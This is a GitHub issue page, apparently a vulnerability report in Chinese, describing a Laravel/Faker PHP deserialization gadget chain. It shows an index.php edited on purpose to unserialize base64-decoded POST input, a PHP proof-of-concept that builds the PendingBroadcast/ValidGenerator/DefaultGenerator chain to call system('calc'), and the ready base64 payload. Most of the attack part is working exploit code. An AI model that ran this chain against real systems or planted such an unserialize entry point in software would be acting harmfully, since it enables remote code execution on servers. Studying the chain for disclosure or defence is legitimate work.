We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
在public的index中写入反序列化的入口
<?php use Illuminate\Contracts\Http\Kernel; use Illuminate\Http\Request; define('LARAVEL_START', microtime(true)); if (file_exists($maintenance = __DIR__ . '/../storage/framework/maintenance.php')) { require $maintenance; } require __DIR__ . '/../vendor/autoload.php'; $app = require_once __DIR__ . '/../bootstrap/app.php'; $kernel = $app->make(Kernel::class); $response = $kernel->handle( $request = Request::capture() )->send(); $kernel->terminate($request, $response); /* * Add an entry to the deserialization vulnerability here */ unserialize(base64_decode($_POST[1]));
POC
<?php namespace Illuminate\Broadcasting { use Faker\ValidGenerator; class PendingBroadcast { protected $events; public function __construct() { $this->events =new ValidGenerator(); } } } namespace Faker{ class ValidGenerator { protected $generator; protected $validator; protected $maxRetries; public function __construct() { $this->generator=new DefaultGenerator(); $this->validator='system';//使用的函数 $this->maxRetries=1; } } class DefaultGenerator { protected $default; public function __construct() { $this->default='calc';//执行的参数 } } } namespace { use Illuminate\Broadcasting\PendingBroadcast; $a = new PendingBroadcast(); echo base64_encode(serialize($a)); } ?>
payload:
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6NDoiY2FsYyI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6MTt9fQ==
验证:
The text was updated successfully, but these errors were encountered:
No branches or pull requests
在public的index中写入反序列化的入口
POC
payload:
验证:
The text was updated successfully, but these errors were encountered: